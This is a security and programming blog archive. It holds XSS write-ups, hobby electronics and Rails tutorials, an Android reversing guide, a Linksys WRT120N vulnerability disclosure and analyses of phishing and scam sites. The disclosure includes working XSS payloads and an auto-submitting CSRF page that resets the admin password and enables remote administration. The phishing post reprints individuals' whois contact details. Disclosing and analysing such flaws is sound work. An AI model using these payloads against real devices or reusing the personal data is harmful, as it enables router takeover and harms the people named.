Sunday, July 23, 2017

True Tales of XSS: Function Hoisting

A simplified version of the code:
<script>
func().val('<?php echo htmlspecialchars($input, ENT_COMPAT, 'UTF-8'); ?>');
</script>
Overview: user-supplied $input is echoed into a JavaScript context after having HTML entities encoded. The func() JavaScript function is undefined, causing an exception and halting execution before any injected payload can be executed. We can't inject additional script tags due to the HTML encoding, so an XSS vector isn't immediately apparent.

But it's there.

To gain execution, we'll need to make sure func() is defined. We'll use a JavaScript feature called function hoisting. Hoisting allows a function to be defined after it's been used. The JavaScript interpreter will look ahead for an appropriate function definition and "hoist" it up in the code, so the function call can execute correctly.

We'll use the following payload:
'); function func() {payload}; //
In this payload, we'll finish the val() call, supplying an empty string. Next, we'll provide a definition of func() for the interpreter to hoist. We can insert our payload into func()'s definition and let the original call execute it. Lastly, we'll comment out the trailing "');" that's been left over from the original code.

Now the func() function is defined and will execute with our injected payload. You read a bit more about hoisting here and here.

Stay beautiful, XSS Rangers.

Saturday, March 25, 2017

True Tales of XSS: jQuery's text() Function

A simplified version of the code:
<div id="foo">
<?php echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); ?>
</div>

<script>
var bar = $('#foo').text();
$('#foo').html('<b>' + bar + '</b>');
</script>

Overview: user-supplied $input is echoed after having HTML entities encoded. Next, it's read by jQuery's text(), some decorative tags are added, and written back with html(). Although there's usually little reason to do this in jQuery, it doesn't appear to be vulnerable to XSS.

And yet, it is.

1. We feed a standard XSS test to $input:
<script>alert(1);</script>
2. The $input is encoded with htmlspecialchars(), effectively preventing our XSS from functioning:
 &lt;script&gt;alert(1);&lt;/script&gt;
 3. Our encoded $input is read by jQuery's text() method, which should remove tags and only return the text contents of HTML elements. So, at this point, we could assume our $input would still be:
&lt;script&gt;alert(1);&lt;/script&gt;
Or, if it also removes encoded tags, possibly:
alert(1);
However, text() actually decodes HTML entities and will happily return valid HTML, restoring our $input to its original state:
<script>alert(1);</script>
4. Decorative formatting tags are added to the $input:
<b><script>alert(1);</script></b>
5. The $input is written back to the page with html(), which will also execute our script tag and launch our test payload.

So, keep an eye out for the next time you see text() handling user input, XSS Rangers.

Sunday, January 29, 2017

Flora and Neopixel Ring Quickstart Guide

To celebrate Micro Center carrying Adafruit products, I picked up a Flora V3 and a NeoPixel Ring. Here's a quick guide for making the Flora light that Ring up.

Note: you'll need a micro-B USB cable and some wires. Most of this guide should also work for the NeoPixel strips but your wiring will differ a bit.

Get the Arduino IDE
If you don't already have it, get the Arduino IDE. Download the most recent version of the IDE from the Arduino website and follow the installation instructions (links: Linux, Windows, Mac).

Add Flora Support
Follow the steps to add the Adafruit Board Support package, which will let us use the Flora. Then follow Adafruit's OS-specific instructions (links: Linux, Windows, Mac).

I used IDE version 1.8.1 on Ubuntu 16.04 LTS. As mentioned in the Linux instructions linked above, I also had to add udev rules to make everything jive.

Add NeoPixel Support
Next, you'll need to add the Adafruit NeoPixel library. This will let us use the Flora's on-board NeoPixel as well as the Ring. The easiest way is via the IDE's Library Manager.

You can do this by navigating to "Sketch," then "Include Library," then "Manage Libraries." Search for "neopixel" and install the "Adafruit NeoPixel" library.

Verify Your Setup Works
Verify your Flora + NeoPixel setup by blinking the Flora's onboard NeoPixel.

Save the linked demo code in your current sketch. Under the "Tools" menu, ensure "Board" is set to "Adafruit Flora" and the correct "Port" is selected (mine was /dev/ttyACM0).

Under the "Sketch" menu, select "Verify/Compile," which should complete without errors. Then select "Upload" to push the code to your Flora.

Once it finishes, your Flora should put on a small light show.

Wire Up Your Ring
Now we're ready to wire the Ring to the Flora. I'm lazy, so I used alligator clips. If you're going to go this route, you'll probably want to solder small leads onto the Ring, as it can be a bit difficult to get a solid connection with the clips.

You'll want to connect the Flora's "3.3V" to the Ring's "PWR," the Flora's "GND" to the Ring's "GND," and the Flora's "#9" to the Ring's "IN."


Light Up The Ring

Now we can modify the demo code to use the Ring. We'll need to tell it that we have more LEDs and we're now using the #9 pin. Change the PIN constant from 8 to 9. Change the first parameter of "Adafruit_NeoPixel" from 1 to 12 (or however many LEDs your Ring contains). That's it.
#include <Adafruit_NeoPixel.h>
#define PIN 9
Adafruit_NeoPixel strip = Adafruit_NeoPixel(12, PIN, NEO_GRB + NEO_KHZ800);
As before, "Verify/Compile" then "Upload." The light show should be a bit better now.

That Was Too Easy
Check out the NeoPixel library reference.

Here's some neat projects that use these things. Check out their code to get more ideas:

Saturday, February 27, 2016

Naming Variables: A Short Story

On the Importance of Naming Variables
~a short story~

During the last semester of my engineering degree, I took a class on information retrieval (IR), which focused on search engine internals and file matching. I was taking the class in parallel with a "capstone" course. The capstone was the last requirement for graduation, where teams of students were paired up to work on a project for an actual client company. Capstone was a notorious timesink, so most other courses were put on the back-burner.

The final project for the IR class was to make a program that would accept an image, process it for patterns, and match it to similar images from a corpus. The project was split into two halves: building the searchable corpus and building the front-end. We were grouped into pairs and I happened to wind up with a fellow capstoner, Jim. We talked briefly and I took the corpus half.

We had well over a month to complete the project but, like most college projects, it was ignored until the weekend before the due date. The icing on the cake was the realization that the program for corpus generation took well over an hour to run, even with a small subset of images. This made testing tedious and slow.

An all-nighter ensued, and when I finally passed out, the process was quietly humming away, abusing images and collecting patterns. Without the front-end to actually accept input and match images, I could only hope that corpus would be correct.

The next day, I asked Jim for some testing but received only vague responses. It was clear he hadn't completed the front-end yet. No sweat, we've all been there. I sent him my half of the project so he could finish up.

Finals came and went. IR was last, and the final would be a class presentation of our image-matching projects. It was officially the last thing I ever needed to do for my degree. Excitement ran high. Jim said that our image results were weird, but was positive they were correct. Right, sure thing.

Classmates demonstrated their projects, and it quickly became clear that our results were definitely not correct. An image of the American flag should not have been matched as similar to an image of a kitten. We fumbled through our presentation, realizing we had failed.

Feeling what I assume was frustration and pity, the professor decided to give us until the end of the day to repent. We would receive a just-technically-passing grade on the project if we could fix the matching. The last class of our college careers was now officially over but we were not done. We ran to the lab and furiously opened vim terminals.

I poured over my code, comparing implementations to documentation. It was dark outside now. No breaks, no dinner. The code looked solid. This was my personal nightmare scenario. At least an obvious error would have meant we were done.

Jim was having no luck, either, so we started doubling up on the code. I rolled my chair over to Jim's desk and realized something was wrong. There were no functions, no classes - just a single large block of code in a single large file. I tried to dig into it. Variables were named single sequential letters: a, b, c, etc. Soon the letters doubled: af, ag, ah. I was now in "ba" territory. Jim noticed my horror, and explained that this style of coding saved him significant time during his development. Somehow, I was doubtful.

An hour later, all hope seemed lost. It was past 9:30pm now. From a few feet away, Jim began to laugh. I assumed he'd gone insane. No, he'd found the error! In one of the crucial pattern matching functions, he'd passed in "af," a buffer of pre-processed image data, when it should have been "ag," a buffer of processed pattern data. So obvious, we both should have caught it straight away, I was informed.

A wave of relief as Jim sent an email to the professor, followed by a wave of anger as I debated killing him with the heavy mechanical keyboard. The next morning, technically our first day of post-college, was spent with the professor, demonstrating our now-working program. He was rightly skeptical of our explanation (read: completely pissed off), but passed us with a promised low score. It was a sad way to end, but we were done.

When I asked him what he was thinking with his variable naming, Jim was confused. "This is a common programming problem." No, it really isn't. Words were exchanged, ways were parted, and I'm not sure what happened to Jim after that. As a farewell gift, this story has always stuck with me, and I hope the same is true for him, too.

So, please, for everyone's sake, the next time you're working on a team project, take an extra two seconds to name your variable "image_data_buffer" instead of "af." It may not seem important now but you'll thank yourself if shit hits the fan.

Saturday, August 22, 2015

Checklists In Rails 4

This will briefly cover how to create a many-to-many form checklist using the Rails 4 method collection_check_boxes.

In this scenario we'll have a User model (with a first_name and last_name) and a Subject model (with a name). A User should be able to select multiple Subjects. The User/Subject associations are both many-to-many.

If you don't already have it, add the associations to your models and create a linking table.

app/models/subject.rb
has_and_belongs_to_many :users
app/models/user.rb
has_and_belongs_to_many :subjects
db/migrate/[DATETIME]_create_join_table_user_subject.rb
class CreateJoinTableUserSubject < ActiveRecord::Migration
  def change
    create_join_table :users, :subjects do |t|
      t.index [:user_id, :subject_id]
      t.index [:subject_id, :user_id]
    end
  end
end
Next, allow your UserController to accept an array of Subject IDs in its parameters.

app/controllers/users_controller.rb
private
  def user_params
    params.require(:user).permit(:first_name,
                                                   :last_name,
                                                   :subject_ids => [])
  end
To generate the checklist collection_check_boxes will, by default, render all of your checkboxes with labels next to each other. I want them stacked so I've added a block to the end. Inside of the block, you can define the HTML generated for each item using the check_box and label helper methods.

app/views/users/edit.html.erb
<%= form_for(@user) do |f| %>
  <p>Subjects</p>
  <%= f.collection_check_boxes(:subject_ids, Subject.all, :id, :name) do |s| %>
    <%= s.check_box %> <%= s.label %> <br />
  <% end %>
  <%= f.submit "Update Your Subjects" %>
<% end %>
Assuming you have an update route already functioning in your UserController, your @user.update(user_params) should be good to go. If you'd like to display a User's selected Subjects, you can use @user.subjects.map{|s| s.name}.join(', ').

Relevant Links

Friday, August 21, 2015

Android Reversing Bootcamp

[This article was originally written in April 2013 and published in the Spring 2014 issue of 2600: The Hacker Quarterly. Feel free to replace references to BackTrack with Kali or Santoku. If you're into this kind of stuff and want to learn more, pick up a copy of the excellent Android Hacker's Handbook.]

Android Reversing Bootcamp
by Andy G (@vxhex)

So, you've built your first Android application. Now what?
This is a brief introduction to Android application reversing. It assumes a basic knowledge of Java (packages, classes, etc.) and the Android SDK (activities, intents, and the manifest). If you're new to Android development, it'd be helpful to read through some of Vogella's excellent tutorials.[1]
Most of the tools we'll be using are available in the "Reverse Engineering" section on the latest BackTrack (currently version 5rc3).[2]
Reversing engineering can violate some EULAs. It can be used for malicious or legitimate purposes. Be careful what you hack (or who you talk to about it).

First Thing's First
Android apps are packaged into an APK (application package) file for distribution. APKs are based on Java's JAR format: they're zipped archives containing the app's manifest, resources, and code. Like JARs, you can unpackage them with any zip archive manager.
To get our hands on some APKs, we'll be using ASTRO File Manager, available in the Google Play store. Astro allows you to "back up" your apps by saving them to your device's memory as an APK. In Astro, navigate to the Application Manager, select an installed app, and click "backup." The APK will be saved to backups/apps/. From there, you can upload it to your dropbox, email it to yourself, or USB it from your device.
Other methods exist for acquiring APKs (like scripts for the Play store and ADB pulls). If you're interested in trying these out, flex your Google-fu and let me know what worked best for you.

XML Xcitement
Now that we have some APKs, let's unpack them using apktool. Apktool is a program for unpacking and repacking APKs. You can unpack an APK with:
apktool d application.apk
This will create a folder containing the unpacked APK's components.
AndroidManifest.xml is a good place to start.[3] Here we can check permissions, services, and the app's main activity.
An app's starting activity will have an intent-filter listing an action of android.intent.action.MAIN. An app is permitted to have multiple entry points, but it is common to see just one. Make a note of the app's starting activity, as that will be the starting point for our code analysis.
The res folder contains the app's resources, like icons, menus, and strings. Android encourages storing strings and values in XML files instead of hardcoding them into your application, and these can be found in res/values/. Menus, also defined in XML, are found in res/layout/.
An assets folder may also be present, containing miscellaneous files used by the app.

Reading Some Code
It's fairly easy to reconstruct decent Java from an APK. The Java typically won't be perfect, but it's readable and lets you examine the app's logic.
First we'll convert our APK to a JAR using dex2jar.
d2j-dex2jar.sh application.apk
This will produce a JAR file, named application-dex2jar.jar, that can be reversed like any other Java application.
We'll use JD-GUI to look at what we've got.[4] Although it doesn't come standard on BackTrack, JD-GUI will run out-of-the-box. Just extract the tarball and click the "jd-gui" icon to run. From here, head to File->Open, and select the newly-created jar. This will load the app into the decompiler and you should see the packages laid out in a nice tree to the left. You can start from the main activity's onCreate() method and work your way through the application's flow.
If you don't want to install any new software, you can use a Java decompiler called jad. We can unzip the jar file, explore the package structure, and run jad on the .class files we're interested in. This will produce .jad files that contain the class's Java code. From here, you're free to grep away.
unzip application-dex2jar.jar
jad com/package/application/*.class
grep onCreate *.jad

That Was Too Easy
Let's head back to apktool's unpacked stuff and check out the "smali" folder. This folder contains the decompiled bytecode of the application. Its folder structure represents the various packages that make up the app, and the .smali files can be opened with any text editor.
Smali is an assembly-like translation of the Dalvik bytecode. This normally sits inside of the APK in a file called classes.dex. Because smali is a direct translation of the app's code, once you understand how it works, you can edit these  files to modify the app. This is commonly how APKs are cracked or repackaged with malware. Conversely, it can also be used to remove advertisements or malicious payloads. This ability to edit and repackage an APK makes Smali worth diving into a bit deeper.

Smali Syntax
This article won't make you fluent in Smali, but this should give you enough information to start hacking on things. Keep a reference guide open as you work.[5]
Smali uses single characters to represent Java's primitive types.
Z - boolean
I - int
C - char
V - void
B - byte
F - float
D - double
J - long
S - short
Arrays are represented as a [ before a variable type. For example, [[I would be a two-dimensional array of ints.
Methods follow a format of methodName(parameters)returnValue. For example, here's a method that takes a char array and int as parameters and returns a boolean:
Smali: method([CI)Z
Java: boolean method(char[], int);
Objects are represented with a capital L followed by the object's package and name. For example, an object of Java's String class looks like:
Ljava/lang/String;
L designates the object, java/lang/ is the package name, and String is the class itself. Object attributes appear as Name:Type. An object's methods and attributes are accessed using the -> operator.
Comments can be added by starting a line with a # character.

Smali Instructions
Smali instructions are human-readable representations of Dalvik opcodes. A reference will usually be necessary to look up exact syntax and functionality of an instruction, but you can generally infer what's happening.[6]
Like assembly, Smali instructions operate on registers. These are represented by a letter, indicating the type of register, and a number. Registers starting with a v, like v2, are local registers, while a p indicates a parameter register.

Smali Examples
Now let's look at some examples and break down each one.
if-nez v0, :label_name
The if-xxx statements are conditionals. if-nez stands for "if not equal zero." This will evaluate to true if our target, v0, is not equal to zero. :label_name is the label for the block of code we'll jump to if our condition is met.
:label_name
const-string v0, "v0 has a nonzero value."
This is a labeled block of code that moves a string constant into the v0 register. This block of code can be jumped to by referencing label_name. After this operation, we can use this string by referencing v0.
invoke-virtual {v9}, Ljava/lang/String;->trim()Ljava/lang/String;
move-result-object v9
invoke-xxx statements are used to call methods. In this code, Java's trim() method is called on the String object located in v9. The resulting String object is then moved into v9, overwriting our original. The v9 register is our reference to Java's "this," or the calling object. The method prototype follows the syntax previously described: the calling object type (String), the method (trim()), then the return object (also a String). move-result-object then moves the previous instruction's return value into the designated register: v9.

Smali can be a bit overwhelming in large doses, so again grep is your friend when hunting for specific functionality. Otherwise, start in the main activity and look for the onCreate method:
.method public onCreate(Landroid/os/Bundle;)V
After you make changes to an app, you can rebuild it using:
apktool b UnpackedAPK
The resulting APK can then be signed[7], via Keytool and Jarsigner, and distributed for installation.

What Now?
Practice makes perfect. You'll learn quite a bit by building basic "hello world" type apps and hacking on them.
Other topics to explore include ProGuard, SQLite, OWASP's GoatDroid Project, binary reversing (for proprietary binary assets, like those used in $vendor's apps), and apktool's debugging features.

Continued Reading
Blog dedicated to android cracking: androidcracking.blogspot.com
Forum for mobile developers: forum.xda-developers.com
Android reversing examples: www.exploit-db.com/papers/21325/

References
[1] www.vogella.com/articles/Android/article.html
[2] www.backtrack-linux.org
[3] developer.android.com/guide/topics/manifest/manifest-intro.html
[4] java.decompiler.free.fr/?q=jdgui
[5] code.google.com/p/smali/wiki/TypesMethodsAndFields
[6] pallergabor.uw.hu/androidblog/dalvik_opcodes.html
[7] developer.android.com/tools/publishing/app-signing.html

Wednesday, April 23, 2014

Refactor Avoidance Driven Development (RADD)

Refactor-Avoidance-Driven Development (RADD) is a software development process that emphasizes the eventual Pull Request that the code will generate. In RADD, care is taken to design commits such that no legacy code shows up in the Pull Request's diff. This is done to expedite the Pull Request and ensure that the developer does not become responsible for refactoring legacy code.
It is a type of development anti-pattern. Compare to Test-Driven Development (TDD).

Sunday, September 15, 2013

Linksys WRT120N Multiple Vulnerabilities (XSS, Redirect, CSRF)

The following examples assume the device is located at 192.168.1.1. The attacks require authentication to the router or a CSRF attack against an authenticated user.

Firmware
v1.0.07 (Build 02) (Download)

Serial and PIN
The device serial number, PIN code, firmware, MAC, and other information can be found at https://192.168.1.1/Hidden_infoPage.stm

Open Redirect
Page: wait.stm
Param: redirect_url
https://192.168.1.1/wait.stm?redirect_url=http://www.google.com&delay_time=0

Reflected XSS
Page: traceroute.stm
Param: taddress
https://192.168.1.1/traceroute.stm?taddress=www.google.com'><script>alert(1);</script>

Persistent XSS
Page: Setup->Basic Setup
Param: host_name
Param: domain_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
host_name='><script>alert(1);</script>
&domain_name='><script>alert(1);</script>
&delay=0&opp=add&gateway1=&gateway2=&gateway3=&gateway4=&LangSel=0&change_lang=0&wan_type=0&curAtmIdx=3%27&dhcp_clt=1&mtu_type=0&lan_ip1=192&lan_ip2=168&lan_ip3=1&lan_ip4=1&lan_subnet_mask=0&lan_mask1=255&lan_mask2=255&lan_mask3=255&lan_mask4=0&dhcp_server=1&r_dhcp_server=1&start_ip4=100&num_addr=50&lease_m=1440&s_dns11=0&s_dns12=0&s_dns13=0&s_dns14=0&sdns1=0.0.0.0&s_dns21=0&s_dns22=0&s_dns23=0&s_dns24=0&sdns2=0.0.0.0&s_dns31=0&s_dns32=0&s_dns33=0&s_dns34=0&sdns3=0.0.0.0&wins1=0&wins2=0&wins3=0&wins4=0&time_zone=4+1&exec_cgis=SetBS&ret_url=%2Findex.stm%3Ftitle%3DSetup-Basic%2520Setup

Persistent XSS
Page: Setup->Advanced Routing
Param: router_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
router_name='><script>alert(1);</script>
&delay=0&op=add&NAT=1&nat_enable=1&RIP=0&set_num=0&sr_ip1=0&sr_ip2=0&sr_ip3=0&sr_ip4=0&sr_mask1=0&sr_mask2=0&sr_mask3=0&sr_mask4=0&sr_gw1=0&sr_gw2=0&sr_gw3=0&sr_gw4=0&routing_interface=0&exec_cgis=SetAR&ret_url=%2Findex.stm%3Ftitle%3DSetup-Advanced%2520Routing

Persistent XSS
Page: Wireless->Wireless Security
Param: sharedkey
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
sharedkey=</script><script>alert(1);//
&delay=0&sec_mode=psk1&enc_type=0&rds_ip1=0&rds_ip2=0&rds_ip3=0&rds_ip4=0&rds_port=1812&rds_secret=&group_key_second=3600&encryption_type=0&passPhrase=&generate=0&key1=&key2=&key3=&key4=&TX_Key=0&exec_cgis=WirWS&ret_url=%2Findex.stm%3Ftitle%3DWireless-Wireless%2520Security

Persistent XSS
Page: Applications & Gaming->Port Range Triggering
Param: name0 (All nameX fields are vulnerable)
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
name0="><script>alert(1);</script>
&delay=0&tport0_start=1&tport0_end=2&gport0_start=1&gport0_end=2&name1=&tport1_start=&tport1_end=&gport1_start=&gport1_end=&name2=&tport2_start=&tport2_end=&gport2_start=&gport2_end=&name3=&tport3_start=&tport3_end=&gport3_start=&gport3_end=&name4=&tport4_start=&tport4_end=&gport4_start=&gport4_end=&name5=&tport5_start=&tport5_end=&gport5_start=&gport5_end=&name6=&tport6_start=&tport6_end=&gport6_start=&gport6_end=&name7=&tport7_start=&tport7_end=&gport7_start=&gport7_end=&name8=&tport8_start=&tport8_end=&gport8_start=&gport8_end=&name9=&tport9_start=&tport9_end=&gport9_start=&gport9_end=&exec_cgis=AppPRT&ret_url=%2Findex.stm%3Ftitle%3DApplications%2520%2526%2520Gaming-Port%2520Range%2520Triggering

CSRF
Remote administration can be enabled and passwords can be changed via cross site request forgery. The following example page can be used.
<html>
<head><title>CSRF Test</title></head>
<body>
<form id="csrf" method="post"
    action="https://192.168.1.1/cgi-bin/apply.cgi">
<!-- Change admin password to NewPassword --!>
<input type="hidden" name="change_pass" value="1" />
<input type="hidden" name="password" value="NewPassword" />
<input type="hidden" name="c_password" value="NewPassword" />
<input type="hidden" name="defPassword" value="admin" />

<!-- Enable remote administration via https port 6666 --!>
<input type="hidden" name="r_web_https" value="1" />
<input type="hidden" name="r_web_wleb" value="1" />
<input type="hidden" name="remote_adm" value="1" />
<input type="hidden" name="r_remote_adm" value="1" />
<input type="hidden" name="r_remote_proto" value="1" />
<input type="hidden" name="admin_port" value="6666" />

<!-- Other values expected by the script --!>
<input type="hidden" name="delay" value="0" />
<input type="hidden" name="beginip" value="0.0.0.0" />
<input type="hidden" name="endip" value="0.0.0.0" />
<input type="hidden" name="upnp" value="1" />
<input type="hidden" name="r_upnp" value="1" />
<input type="hidden" name="r_upnp_uset" value="1" />
<input type="hidden" name="r_upnp_dinetacc" value="0" />
<input type="hidden" name="wlan" value="1" />
<input type="hidden" name="reboot" value="0" />
<input type="hidden" name="exec_cgis" value="AdmM" />
<input type="hidden" name="ret_url" 
    value="%2Findex.stm%3Ftitle%3DAdministration-Management" />
</form>
<script>document.getElementById("csrf").submit()</script>
</body>
</html>

OS Command Injection
Similar models (like the WRT110) suffer from blind command injection attacks in parameters on the Ping diagnostics page. While unverified, it's likely the WRT120N contains similar vulnerabilities. The router repeatedly power cycled while testing this, so your mileage may vary.
https://192.168.1.1/ping.stm?paddress=X&ping_size=X&ping_no=X&ping_int=X&ping_time=X

Timeline
  • 11 Apr 2013 - initial contact with support
  • 12 Apr 2013 - ticket opened
  • 17 Jul 2013 - asked for update
  • 18 Jul 2013 - update, ticket still open
  • 04 Sep 2013 - ticket closed
Response
Linksys support says that the 10 minute session timeout within the WRT120N will mitigate the attack, so no firmware update is to be released.

Saturday, September 7, 2013

Cryptanalysis of David Spade

A recent cryptographic analysis of David Spade's numerology revealed a celebrity 0day: mathematical proof that David Spade is To Mega Therion, the Great Beast of Revelation.

DAVID = 4 1 22 9 4
SPADE = 19 16 1 4 5

4 + 1 + 22 + 9 + 4 = 40
19 + 16 + 1 + 4 + 5 = 45

2 names of 5 letters
10 letters total in name

40 / 10 = 4
45 / 10 = 4.5

4 * 4.5 = 18

18 = 6 * 3 = 6 + 6 + 6

SIX THREE TIMES! 666!

I haven't figured out how PGP figures into this yet, but I'm working on it.

Monday, March 4, 2013

Phisherman's Tales, Vol II

Being a fan of The Pirate Bay means enabling adblocks or endless battles with popups. update85.com is a frequent pop-under advertisement served on The Pirate Bay. It prompts the user to install a "pro" version of Flash that will make your whole life awesome. Also, considering there is no real pro version of flash, it will give your computer malware. 
Update: the domain has since switched to update95.com.

Site Analysis
update85.com was purchased from Namecheap with WhoisGuard protection. Its server runs nginx and is currently located at 75.101.138.50 in the Amazon cloud. AWS and WhoisGuard is a pattern that's repeated with the other names and IPs as well. Take note, devs, even the bad guys are moving to the cloud.

The original pop-under URL:
http://update85.com/flashplayer/pro4/indexd1.php?&_mcnc&af=04f021240deadbeef5cf746771e3d54d&of=gTPB-5-usa%20%20&p=y&al=WARNING!%20Your%20Flash%20Player%20may%20be%20out%20of%20date.%20Please%20update%20to%20continue
 The URL contains parameters for analytics and tailoring the warning message that the page displays.
The "af" parameter is an identifying hash that's later used as a unique name for the executable payload. 
Somewhat ironically, the "al" parameter containing the warning message is vulnerable to XSS.
update85.com/flashplayer/pro4/indexd1.php?al=WARNING!'); alert('xss
It's possible some of the other parameters, such as those logged for analytics, may be vulnerable to persistent XSS or SQLi as well.

Analyzing the source for the landing page gives us some inline JS, links to various pages (such as software licensing terms), and the link to the dropper program. The source for these files can be downloaded here (scroll down, click grey 'download' button, and wait for the timer to finish).

The inline javascript injects two remote scripts:

1) New Relic analytics code, including rum.js used for page timing measurements. Their New Relic api-key is e981baeb5e and their appID is 2056962.

2) 46.51.162.142/giq.js, which passes tracking information to a remote PHP logger located at pixeltrk.info/log.php with the following GET parameters:
'd' = document.location.hostname
'r' = escape(document.referrer)
'l' = escape(window.navigator.language)
'u' = escape(window.navigator.userAgent)
'loc' = escape(document.location.href)
It also contains the following comment:
//beta versionb - live to be hosted on: d1cebafy1ctaaq.cloudfront.net/1
pixeltrk.info resolves to 46.51.162.142 and is also an nginx, WhoisGuard'd AWS instance (located in the Ireland cloud).

Uninstall, Contact, and Terms
The uninstall page simply tells you to remove Flash Player Pro from your Add & Remove Programs option in the control panel. It then gives the following disclaimer:
Upon uninstall of the software certain data such as folders, files, registry keys, and cookies, may remain on your machine.
The licensing terms page is an agreement between you and "Download4Free.org." It's the general cover-my-ass legal license.

Finally, the contact information lists:
info@download4free.org
1601 Main St. Suite 90-151
Willimantic, CT
06226
The pages also say they were built using WYSIWYG Builder 8, so I lol'd. Download4Free.org is located at 184.168.221.42, registered with GoDaddy's Domains By Proxy, and is hosted at GoDaddy as well. It's an IIS 7.5 server running ASP.net 4.0.30319. It's had some other SEO domains hosted on it as well.

File Analysis
If you click through the BS, you're eventually rewarded with a download of Flash Player Pro, served on nicdls.com. It is located at 176.31.90.48 in Spain, runs nginx and PHP/5.4.7-1~dotdeb.0, and was registered using Whois Privacy Service from DonDominio.com.

You can download your own copy from the live site here or download my copy of the executable from here (click grey 'download' button and wait for the timer to finish).
The executable that gets sent is a windows exe dropper. The name of the file depends upon your unique hash from the af parameter mentioned earlier, and follows the format V.unique_hash.
ham@meat:~/code$ file spam/V.04f021240deadbeef5cf746771e3d54d
spam/V.04f021240deadbeef5cf746771e3d54d: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
I haven't busted out IDA or anything yet, but a quick look at the file's strings shows calls to registry edits and drops to a temp folder. Running it through Virustotal showed a detection ratio of 11/46, meaning 11 antivirus products found it to be malicious. Most AVs detected it as W32/DomaIQ.A. You can view its results for yourself here.

Tuesday, February 19, 2013

Phisherman's Tales, Vol I

On February 12th, an awesomely bad phishing email slammed head-long into my inbox. It was targeted at students and employees of my former university, so I decided to poke at it for giggles. The message and its headers:
Return-path: <msu@mus.edu>
Envelope-to: XXXXXXXX@msu.edu
Delivery-date: Tue, 12 Feb 2013 10:33:42 -0500
Received: from [202.123.76.219] (helo=bsdmail2.tgtnet.com)
    by ZZZZ.ZZZZ.msu.edu with esmtp (Exim 4.75 #3)
    id 1U5HrM-0006V8-HV; Tue, 12 Feb 2013 10:33:30 -0500
Received: from tgtnet.com (localhost.localdomain [127.0.0.1])
    by bsdmail2.tgtnet.com (8.14.2/8.14.2) with ESMTP id r1CF4Xrm096120;
    Tue, 12 Feb 2013 23:04:33 +0800 (HKT)
    (envelope-from msu@mus.edu)
From: "Michigan State University" <msu@mus.edu>
Subject:   Warning!!!
Date: Tue, 12 Feb 2013 23:04:32 +0800
Message-Id: <20130212145850.M25036@mus.edu>
X-Mailer: OpenWebMail 2.52 20060502
X-OriginatingIP: 180.74.192.93 (terry.yue)
MIME-Version: 1.0
Content-Type: text/plain;
    charset=iso-8859-1
To: undisclosed-recipients:;
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by bsdmail2.tgtnet.com id r1CF4Xrm096120
[Snip]
Subject: *****SPAM***** Warning!!!
Body:

Dear Subscriber's,

We have detected some unusual message from your account,to avoid you loosing
your account or suspension,you will have to re-confirm your account for us to
know that you are the right full owner of this email account.

You are therefore required to click or copy the link

  http://cks-online.com/wp-mail.htm

to enable us verify and perform maintenance in your email account with our
new system upgrading software.Failure to provide your valid information, your
account will be suspended temporarily from our services.

We sincerely apologize for the inconvenience this might have caused you.

Helpdesk Team,
© 2013 Michigan State University
All rights reserved.
Michigan State University. Est. 1855. East Lansing, Michigan USA.
Seems legit that the MSU helpdesk staff would send an email from "mus.edu" asking everyone to log into cks-online.com.

Let's dig into some of the IPs from the headers. All of this information is freely available through domain and network registrations.
202.123.76.219
inetnum:        202.123.64.0 - 202.123.95.255
netname:        HENDERSON
descr:          Henderson Data Centre Limited
descr:          6/F, World-Wide House,Central
country:        HK
person:         Tech Admin
address:        Henderson Data Centre Limited
address:        17/F WELL TECH CENTRE
address:        9 Pat Tat Street
address:        San Po Kong
address:        Kowloon
address:        Hong Kong
country:        HK
phone:          +852-2908-6900
fax-no:         +852-2908-6966
e-mail:         tech.admin@ihenderson.com

180.74.192.93
inetnum:        180.72.0.0 - 180.75.255.255
netname:        P1NETWORKS-MY
descr:          Packet One Networks (M) S
dn
descr:          Internet Service Provider
descr:          Kuala Lumpur, Malaysia
country:        MY
person:         Seng Hoon Lee
nic-hdl:        SL2018-AP
e-mail:         senghoon.lee@packet-1.com
address:        Level 4, PacketHub,
address:        59 Jalan Templer,
address:        46050 Petaling Jaya, Selangor,
address:        Malaysia.
phone:          +603-74508888
fax-no:         +603-74508891
Huh. Mr. Seng Hoon Lee is gettin' busy. So, how about the phishing site, cks-online.com?
Queried whois.godaddy.com with "cks-online.com"...

   Registered through: GoDaddy.com, LLC (http://www.godaddy.com)
   Domain Name: CKS-ONLINE.COM
      Created on: 28-Feb-09
      Expires on: 28-Feb-13
      Last Updated on: 25-Feb-12

   Registrant:
   Stanley Ling
   29, Jalan 1826,
   Taman Sri Rampai, Setapak,
   Kuala Lumpur, WP 53300
   Malaysia

   Administrative Contact:
      Ling, Stanley  stanley.ling@gmail.com
      29, Jalan 1826,
      Taman Sri Rampai, Setapak,
      Kuala Lumpur, WP 53300
      Malaysia
      +60.60126480288

Queried whois.arin.net with "n 97.79.238.221"...

NetRange:       97.76.0.0 - 97.79.255.255
CIDR:           97.76.0.0/14
OriginAS:      
NetName:        RCSW
NetHandle:      NET-97-76-0-0-1
Parent:         NET-97-0-0-0-0
NetType:        Direct Allocation
RegDate:        2007-09-11
Updated:        2012-02-24
Ref:            http://whois.arin.net/rest/net/NET-97-76-0-0-1

OrgName:        Road Runner HoldCo LLC
OrgId:          RCSW
Address:        13820 Sunrise Valley Drive
City:           Herndon
StateProv:      VA
PostalCode:     20171
Country:        US
RegDate:        2001-09-07
Updated:        2011-07-06
Oh Stanley Ling, you card! You can see the ~136 other phishing and SEO sites hosted on the same IP here.

Next lets wget the contents of the page and see what was shakin' over there.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>
Account Verification Page   
</title></head>
<frameset rows="100%">
<frame src="http://sycure.boxhost.me/efe/Login.htm" />
<noframes>
<body>Please follow the <a href="http://sycure.boxhost.me/efe/Login.htm">link</a>.</body>
</noframes>
</frameset>
</html>
